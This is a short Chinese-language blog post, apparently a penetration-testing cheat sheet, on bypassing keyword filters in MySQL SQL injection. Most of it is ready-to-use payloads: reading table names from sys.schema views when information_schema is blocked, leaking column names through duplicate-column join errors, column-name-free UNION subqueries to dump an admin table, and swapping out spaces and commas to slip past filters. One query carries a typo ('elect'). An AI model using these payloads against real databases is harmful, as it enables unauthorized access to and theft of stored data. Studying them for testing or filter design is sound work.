MYSQL 关键字过滤 Bypass
2022-03-22 22:47:14

过滤 information_schema

在 mysql 5.7 中新增了 sys.schema,基础数据来自于 performance_chema 和 information_schema 两个库,本身数据库不存储数据

sys.schema_auto_increment_columns

存在自增字段时可以使用 sys.schema_auto_increment_columns 获取表名

select table_name from sys.schema_auto_increment_columns where table_schema=database();

sys.schema_table_statistics_with_buffer

没有自增字段时可以使用 sys.schema_table_statistics_with_buffer 获取表名

elect table_name from sys.schema_table_statistics_with_buffer where table_schema=database();

获取字段名

使用 join .. using 获取字段名

select * from (select * from users as a join users as b)as c;

报错中可以得到第一个字段名

ERROR 1060 (42S21): Duplicate column name 'uid'

uid 加入到 using 中

select * from (select * from users as a join users as b using(uid))as c;

select * from (select * from users as a join users as b using(uid, name))as c;

...

限制

MYSQL 版本大于 5.7,root 权限

无列名注入

使用子查询可以在不知道列名的情况下获取数据

注意点

  • 要查询的列需要用 `` 来包裹
  • 需要知道表中有多少列
# admin 表存在
select `3` from (select 1,2,3 union select * from admin)a;

# ` 被过滤时使用别名代替
select b from (select 1,2,3 as b union select * from admin)a;

# 查询多列
select concat(`2`,0x7e,`3`) from (select 1,2,3 union select * from admin)a limit 1,3;

过滤空格

  • 使用注释绕过,/**//*!*/
  • 使用括号绕过,括号可以用来包围子查询,任何计算结果的语句都可以使用 () 包围,并且两端可以没有多余的空格
  • 使用其他空白符替代空格,%20%09%0d %0b %0c %0d %a0%0a

过滤逗号

使用 join 绕过

-1 UNION ALL SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d)

limit 的另一种写法:limit M offset N,等价于 limit M, N

参考文章

https://drops.blbana.cc/2017/05/20/SQLi-%E2%80%94%E2%80%94-%E9%80%97%E5%8F%B7%EF%BC%8C%E7%A9%BA%E6%A0%BC%EF%BC%8C%E5%AD%97%E6%AE%B5%E5%90%8D%E8%BF%87%E6%BB%A4%E7%AA%81%E7%A0%B4/